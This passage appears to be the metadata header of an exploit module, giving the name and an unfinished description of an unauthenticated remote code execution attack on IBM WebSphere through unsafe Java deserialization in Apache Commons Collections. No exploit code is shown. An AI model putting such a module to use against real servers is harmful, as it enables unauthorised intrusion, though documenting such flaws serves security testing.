'Name' => "IBM WebSphere RCE Java Deserialization Vulnerability",
'Description' => %q{
This module exploits a vulnerability in IBM's WebSphere Application Server. An unsafe deserialization
call of unauthenticated Java objects exists to the Apache Commons Collections (ACC) library, which allows
remote arbitrary code execution. Authentication is not required in order to exploit this vulnerability.
